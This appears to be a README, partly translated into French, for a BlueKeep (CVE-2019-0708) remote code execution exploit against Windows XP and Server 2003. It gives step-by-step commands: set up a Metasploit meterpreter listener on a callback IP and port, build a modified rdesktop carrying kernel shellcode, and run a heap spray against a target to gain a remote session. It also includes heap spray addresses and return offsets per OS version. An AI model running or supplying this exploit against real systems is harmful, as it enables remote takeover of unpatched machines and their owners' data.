cve-2019-0708_bluekeep_rce

1. Exécutez msfconsole meterpreter/multi/handler en écoute sur 192.168.116.133:6000
2. cd rdesktop-1.5.0 && make
3. Modifiez config, configurez l'IP et le port de retour 192.168.116.133 6000
4. Exécutez ./heap_spray 192.168.116.134 (134 est l'adresse de XP, mémoire >= 2 Go)
5. msfconsole meterpreter obtiendra une session

ps: shellcode/shellcode.asm est le code source du shellcode noyau, après compilation en binaire, c'est le fichier rdesktop-1.5.0\cf517d077e9c152120787eb6b251615b, il est directement compilé dans le programme lors du make.

Actuellement, seul XP est supporté, besoin de mémoire XP >= 2 Go

Pour prendre en charge 2003, il faut modifier l'adresse macro HEAP_SPRAY_ADDRESS dans heap_spray.c. Après des tests répétés, cette adresse varie selon les versions du système 03 et la taille de la mémoire. Cependant, si vous testez sur votre propre machine, l'exploitation peut réussir sur 03. Pas universel.

heap_spray.c

#ifdef _2003

#define HEAP_SPRAY_ADDRESS 0x953b09c0 //需要自己去windbg调试堆喷shellcode的地址 如果有朋友找到通用的解决方案欢迎提交issues

#define IcaChannelInputInternal_RET_OFFSET 0x268

#else

#define IcaChannelInputInternal_RET_OFFSET 0x274

#define HEAP_SPRAY_ADDRESS 0x88c969c0

#endif

Test sur 03

1. Exécutez msfconsole meterpreter/multi/handler en écoute sur 192.168.116.133:6000
2. cd rdesktop-1.5.0 && make
3. Modifiez config, configurez l'IP et le port de retour 192.168.116.133 6000
4. Exécutez ./_2003_heap_spray 192.168.116.135 (135 est l'adresse de 03, mémoire >= 2 Go)
5. msfconsole meterpreter obtiendra une session